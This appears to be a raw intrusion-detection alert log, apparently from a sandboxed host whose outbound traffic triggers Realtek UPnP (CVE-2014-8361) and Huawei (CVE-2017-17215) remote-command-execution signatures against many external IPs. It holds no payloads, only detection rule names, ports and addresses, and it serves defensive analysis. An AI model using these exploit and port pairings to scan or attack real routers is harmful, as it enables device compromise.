07/20/24-23:01:47.443306	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46994	52869	192.168.2.23	196.221.214.48
07/20/24-23:01:00.636533	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52904	37215	192.168.2.23	41.190.181.48
07/20/24-23:01:43.066571	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46598	52869	192.168.2.23	146.167.250.116
07/20/24-23:01:49.203134	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48192	52869	192.168.2.23	77.112.72.60
07/20/24-23:01:11.816521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38808	37215	192.168.2.23	217.234.58.254
07/20/24-23:01:31.976795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57148	37215	192.168.2.23	197.17.160.123
07/20/24-23:01:40.301143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40256	37215	192.168.2.23	157.64.8.64
07/20/24-23:01:04.212553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40552	37215	192.168.2.23	38.140.206.136
07/20/24-23:01:20.132510	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47976	37215	192.168.2.23	197.27.213.242
07/20/24-23:01:45.098864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51472	52869	192.168.2.23	159.130.44.143
07/20/24-23:01:55.716125	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36576	52869	192.168.2.23	172.44.248.130
07/20/24-23:02:03.159117	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38730	52869	192.168.2.23	183.120.27.200
07/20/24-23:01:44.590674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46584	52869	192.168.2.23	150.244.130.144
07/20/24-23:01:08.611774	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59634	52869	192.168.2.23	151.194.118.37
07/20/24-23:02:07.236630	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51288	52869	192.168.2.23	144.66.178.116
07/20/24-23:01:20.156820	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50504	37215	192.168.2.23	197.142.168.90
07/20/24-23:01:31.322110	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51984	52869	192.168.2.23	71.185.104.236
07/20/24-23:01:43.607934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59822	52869	192.168.2.23	160.195.41.193
07/20/24-23:01:44.700808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55012	52869	192.168.2.23	180.13.32.83
07/20/24-23:01:46.913205	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47070	52869	192.168.2.23	42.208.30.144
07/20/24-23:01:31.974907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59308	37215	192.168.2.23	157.77.110.3
07/20/24-23:01:51.096458	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59468	52869	192.168.2.23	163.50.116.249
07/20/24-23:01:04.147433	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34558	52869	192.168.2.23	201.250.207.152
07/20/24-23:01:20.591485	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52570	52869	192.168.2.23	100.41.144.113
07/20/24-23:01:45.094539	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60544	52869	192.168.2.23	69.102.162.227
07/20/24-23:00:59.168569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48142	37215	192.168.2.23	197.21.129.208
07/20/24-23:01:02.055683	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37208	37215	192.168.2.23	41.201.15.228
07/20/24-23:01:02.272048	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42216	52869	192.168.2.23	64.43.73.86
07/20/24-23:01:04.228868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33362	37215	192.168.2.23	182.253.24.216
07/20/24-23:01:48.255782	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41630	52869	192.168.2.23	146.185.97.186
07/20/24-23:01:43.243465	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57270	52869	192.168.2.23	61.42.34.219
07/20/24-23:01:44.470424	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35058	52869	192.168.2.23	217.231.155.95
07/20/24-23:02:16.745304	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32840	52869	192.168.2.23	129.246.142.35
07/20/24-23:01:57.429251	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40982	52869	192.168.2.23	206.37.245.255
07/20/24-23:01:01.881568	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35860	52869	192.168.2.23	77.77.58.220
07/20/24-23:02:01.320866	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58754	52869	192.168.2.23	202.174.156.78
07/20/24-23:01:42.740527	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36918	52869	192.168.2.23	35.56.95.76
07/20/24-23:01:43.557453	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39592	52869	192.168.2.23	197.85.104.215
07/20/24-23:01:45.098864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42266	52869	192.168.2.23	197.132.250.53
07/20/24-23:01:53.059916	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54154	52869	192.168.2.23	27.236.237.70
07/20/24-23:01:24.867858	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54490	37215	192.168.2.23	41.99.111.146
07/20/24-23:01:20.156820	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34000	37215	192.168.2.23	41.60.131.118
07/20/24-23:01:43.555329	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33944	52869	192.168.2.23	217.141.116.135
07/20/24-23:01:46.340763	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53506	52869	192.168.2.23	203.124.141.209
07/20/24-23:01:42.762943	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53296	52869	192.168.2.23	94.66.88.32
07/20/24-23:01:04.098909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33448	37215	192.168.2.23	157.156.131.187
07/20/24-23:00:59.204975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39976	37215	192.168.2.23	41.33.245.21
07/20/24-23:02:01.929550	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55272	52869	192.168.2.23	219.135.178.135
07/20/24-23:01:07.075937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40714	37215	192.168.2.23	41.45.118.19
07/20/24-23:01:51.400635	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35110	52869	192.168.2.23	43.224.149.155
07/20/24-23:00:57.221026	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46136	37215	192.168.2.23	197.12.204.52
07/20/24-23:01:41.567823	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53212	52869	192.168.2.23	54.140.169.156
07/20/24-23:01:46.329269	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56996	52869	192.168.2.23	173.172.122.41
07/20/24-23:01:50.901722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58344	52869	192.168.2.23	162.93.73.144
07/20/24-23:01:42.374542	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38602	52869	192.168.2.23	165.86.188.195
07/20/24-23:01:54.693625	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60830	52869	192.168.2.23	118.111.39.192
07/20/24-23:01:45.164161	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42482	52869	192.168.2.23	86.220.55.191
07/20/24-23:01:34.064573	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50696	37215	192.168.2.23	157.124.21.88
07/20/24-23:01:42.104533	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51844	52869	192.168.2.23	68.175.73.118
07/20/24-23:01:08.559315	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44538	52869	192.168.2.23	161.98.32.121
07/20/24-23:01:25.940871	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60192	52869	192.168.2.23	97.255.56.23
07/20/24-23:01:27.653028	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49014	37215	192.168.2.23	197.100.29.197
07/20/24-23:01:27.660099	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43594	37215	192.168.2.23	157.156.179.148
07/20/24-23:01:45.667238	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33240	52869	192.168.2.23	24.80.173.172
07/20/24-23:01:41.372363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43162	52869	192.168.2.23	47.30.224.199
07/20/24-23:01:11.631728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42374	37215	192.168.2.23	106.4.213.108
07/20/24-23:01:52.838688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52806	52869	192.168.2.23	23.8.251.245
07/20/24-23:01:41.467111	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37268	52869	192.168.2.23	102.134.118.47
07/20/24-23:01:42.758954	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59620	52869	192.168.2.23	52.97.71.90
07/20/24-23:01:51.500991	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49978	52869	192.168.2.23	204.255.198.47
07/20/24-23:01:08.693187	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46180	52869	192.168.2.23	27.181.35.71
07/20/24-23:01:24.916250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44788	37215	192.168.2.23	148.60.185.225
07/20/24-23:01:55.870348	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39428	52869	192.168.2.23	157.175.172.46
07/20/24-23:01:42.687128	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38254	52869	192.168.2.23	69.23.248.153
07/20/24-23:01:51.483441	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33916	52869	192.168.2.23	96.23.98.70
07/20/24-23:01:45.775798	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40262	52869	192.168.2.23	126.245.117.149
07/20/24-23:01:08.563906	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50832	52869	192.168.2.23	191.79.195.70
07/20/24-23:01:53.392806	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59554	52869	192.168.2.23	23.227.245.165
07/20/24-23:01:02.104572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44882	37215	192.168.2.23	41.174.61.133
07/20/24-23:01:20.603553	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59972	52869	192.168.2.23	218.129.227.171
07/20/24-23:01:07.082045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34088	37215	192.168.2.23	41.53.235.233
07/20/24-23:01:43.078618	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51042	52869	192.168.2.23	207.164.129.53
07/20/24-23:01:00.635367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39392	37215	192.168.2.23	155.165.181.96
07/20/24-23:01:11.636599	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42506	37215	192.168.2.23	157.115.1.86
07/20/24-23:02:04.133789	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44138	52869	192.168.2.23	190.159.104.180
07/20/24-23:01:12.811667	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36698	52869	192.168.2.23	106.229.130.40
07/20/24-23:01:42.656962	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42998	52869	192.168.2.23	19.15.33.52
07/20/24-23:01:24.916250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34934	37215	192.168.2.23	197.160.155.29
07/20/24-23:01:42.452119	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40286	52869	192.168.2.23	213.180.197.99
07/20/24-23:01:42.142802	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39466	52869	192.168.2.23	138.38.220.62
07/20/24-23:01:53.909434	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46270	52869	192.168.2.23	49.96.236.62
07/20/24-23:01:54.277123	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55390	52869	192.168.2.23	222.178.130.155
07/20/24-23:01:02.104571	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52394	37215	192.168.2.23	41.218.93.135
07/20/24-23:01:10.501913	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55566	52869	192.168.2.23	85.213.237.39
07/20/24-23:01:51.790169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32904	52869	192.168.2.23	115.59.47.171
07/20/24-23:01:25.965816	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56820	52869	192.168.2.23	45.144.124.12
07/20/24-23:01:01.171532	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38296	52869	192.168.2.23	199.214.91.137
07/20/24-23:01:42.688831	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35844	52869	192.168.2.23	125.246.56.225
07/20/24-23:01:48.036012	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46612	52869	192.168.2.23	45.226.155.34
07/20/24-23:01:07.062666	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41676	37215	192.168.2.23	157.254.9.54
07/20/24-23:01:42.915641	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57594	52869	192.168.2.23	45.244.207.174
07/20/24-23:01:41.328264	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39722	52869	192.168.2.23	213.180.197.99
07/20/24-23:01:41.620386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49108	52869	192.168.2.23	73.113.35.189
07/20/24-23:00:57.222207	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39796	37215	192.168.2.23	197.52.45.132
07/20/24-23:01:43.475010	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39358	52869	192.168.2.23	12.65.191.23
07/20/24-23:01:12.806839	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54258	52869	192.168.2.23	167.63.84.166
07/20/24-23:01:54.277122	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55422	52869	192.168.2.23	203.184.58.202
07/20/24-23:01:25.275555	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46150	52869	192.168.2.23	136.18.44.19
07/20/24-23:01:02.048214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35414	37215	192.168.2.23	76.17.111.28
07/20/24-23:01:08.667513	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55916	52869	192.168.2.23	132.102.141.171
07/20/24-23:01:43.763925	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48326	52869	192.168.2.23	52.121.181.216
07/20/24-23:00:59.178062	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34032	37215	192.168.2.23	197.67.179.143
07/20/24-23:01:31.312234	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47832	52869	192.168.2.23	77.157.20.139
07/20/24-23:01:47.805449	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44524	52869	192.168.2.23	180.60.94.64
07/20/24-23:01:08.572197	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41398	52869	192.168.2.23	216.174.225.184
07/20/24-23:01:08.594120	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60104	52869	192.168.2.23	13.112.9.246
07/20/24-23:02:04.520145	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50896	52869	192.168.2.23	42.30.159.48
07/20/24-23:01:53.099889	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38954	52869	192.168.2.23	162.69.127.248
07/20/24-23:01:41.909668	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37660	52869	192.168.2.23	102.134.118.47
07/20/24-23:01:44.825081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59162	52869	192.168.2.23	79.217.40.139
07/20/24-23:01:02.079114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53940	37215	192.168.2.23	147.234.115.27
07/20/24-23:01:42.772926	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56254	52869	192.168.2.23	129.76.21.211
07/20/24-23:01:08.620788	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39266	52869	192.168.2.23	185.31.200.232
07/20/24-23:01:48.970191	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34126	52869	192.168.2.23	210.32.95.217
07/20/24-23:01:52.914136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40474	52869	192.168.2.23	23.141.254.89
07/20/24-23:00:57.222164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57480	37215	192.168.2.23	78.242.93.228
07/20/24-23:01:46.893328	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58992	52869	192.168.2.23	35.221.171.171
07/20/24-23:01:03.175286	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50620	52869	192.168.2.23	152.136.236.137
07/20/24-23:01:47.856443	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41204	52869	192.168.2.23	25.194.48.207
07/20/24-23:02:11.743968	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37572	52869	192.168.2.23	112.84.192.59
07/20/24-23:01:58.892811	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44010	52869	192.168.2.23	67.241.234.23
07/20/24-23:01:58.999794	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39764	52869	192.168.2.23	154.194.235.253
07/20/24-23:01:46.329268	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50588	52869	192.168.2.23	116.175.162.178
07/20/24-23:01:46.929722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40550	52869	192.168.2.23	146.185.97.186
07/20/24-23:01:46.143923	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43004	52869	192.168.2.23	118.134.216.118
07/20/24-23:01:42.800757	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41210	52869	192.168.2.23	148.205.165.15
07/20/24-23:01:53.428577	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51684	52869	192.168.2.23	148.27.255.148
07/20/24-23:01:45.485100	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54638	52869	192.168.2.23	41.48.241.197
07/20/24-23:01:07.016889	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55088	37215	192.168.2.23	62.123.128.166
07/20/24-23:00:57.221748	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39456	37215	192.168.2.23	57.35.73.126
07/20/24-23:01:25.715288	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55744	52869	192.168.2.23	97.193.3.141
07/20/24-23:01:26.014513	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59542	52869	192.168.2.23	70.211.204.245
07/20/24-23:01:44.660016	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57142	52869	192.168.2.23	163.162.88.124
07/20/24-23:01:01.868178	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47262	52869	192.168.2.23	109.23.172.87
07/20/24-23:01:04.637063	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54854	52869	192.168.2.23	164.236.243.93
07/20/24-23:01:24.060711	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46302	52869	192.168.2.23	146.31.217.81
07/20/24-23:01:42.935667	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53490	52869	192.168.2.23	35.223.49.101
07/20/24-23:01:27.677519	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44504	37215	192.168.2.23	36.225.241.35
07/20/24-23:01:34.043784	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57248	37215	192.168.2.23	41.76.96.139
07/20/24-23:01:08.655109	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54774	52869	192.168.2.23	132.33.116.164
07/20/24-23:02:06.738802	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59328	52869	192.168.2.23	12.160.102.240
07/20/24-23:01:08.600114	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38226	52869	192.168.2.23	207.30.132.8
07/20/24-23:01:49.329746	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53542	52869	192.168.2.23	62.188.56.156
07/20/24-23:01:25.787139	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49954	52869	192.168.2.23	175.125.103.77
07/20/24-23:01:40.286738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48528	37215	192.168.2.23	157.194.207.76
07/20/24-23:01:34.048618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41346	37215	192.168.2.23	157.167.78.225
07/20/24-23:01:41.366269	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59642	52869	192.168.2.23	186.150.2.45
07/20/24-23:01:06.994337	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41576	37215	192.168.2.23	216.111.45.230
07/20/24-23:01:24.739204	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47310	52869	192.168.2.23	109.17.111.246
07/20/24-23:01:44.944699	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53900	52869	192.168.2.23	110.40.238.120
07/20/24-23:01:08.646615	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51990	52869	192.168.2.23	107.208.110.238
07/20/24-23:00:59.153608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34534	37215	192.168.2.23	157.86.250.128
07/20/24-23:01:08.632574	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49030	52869	192.168.2.23	58.116.31.11
07/20/24-23:01:41.263141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60330	52869	192.168.2.23	218.206.46.127
07/20/24-23:02:04.592319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37212	52869	192.168.2.23	185.12.96.106
07/20/24-23:01:41.381812	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41288	52869	192.168.2.23	18.194.44.24
07/20/24-23:01:03.194002	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52936	52869	192.168.2.23	86.74.227.91
07/20/24-23:01:27.664606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51336	37215	192.168.2.23	197.45.164.41
07/20/24-23:01:09.027075	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43632	52869	192.168.2.23	188.92.250.125
07/20/24-23:01:53.326732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48686	52869	192.168.2.23	37.84.136.136
